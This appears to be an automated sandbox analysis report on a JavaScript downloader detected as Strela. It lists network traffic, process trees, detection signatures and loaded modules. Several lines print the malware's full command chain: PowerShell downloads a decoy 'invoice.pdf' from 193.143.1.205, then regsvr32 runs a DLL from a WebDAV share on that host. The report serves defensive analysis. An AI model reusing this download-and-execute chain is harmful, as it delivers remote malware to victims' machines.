Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: global traffic

TCP traffic: 192.168.2.10:49742 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49726 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1299709814.000001E1651EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1370784798.0000019E70B53000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1370784798.0000019E70B6E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1370784798.0000019E70B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1370784798.0000019E70B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: net.exe, 00000007.00000002.1370784798.0000019E70B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 00000009.00000002.2595672613.000002CDC2400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1371481521.000002CDC2600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8184, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 168423236840504572.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1672

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jc2r5gx5.lvh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 168423236840504572.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\168423236840504572.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,11989586508930940256,8516604209193487676,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,11989586508930940256,8516604209193487676,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
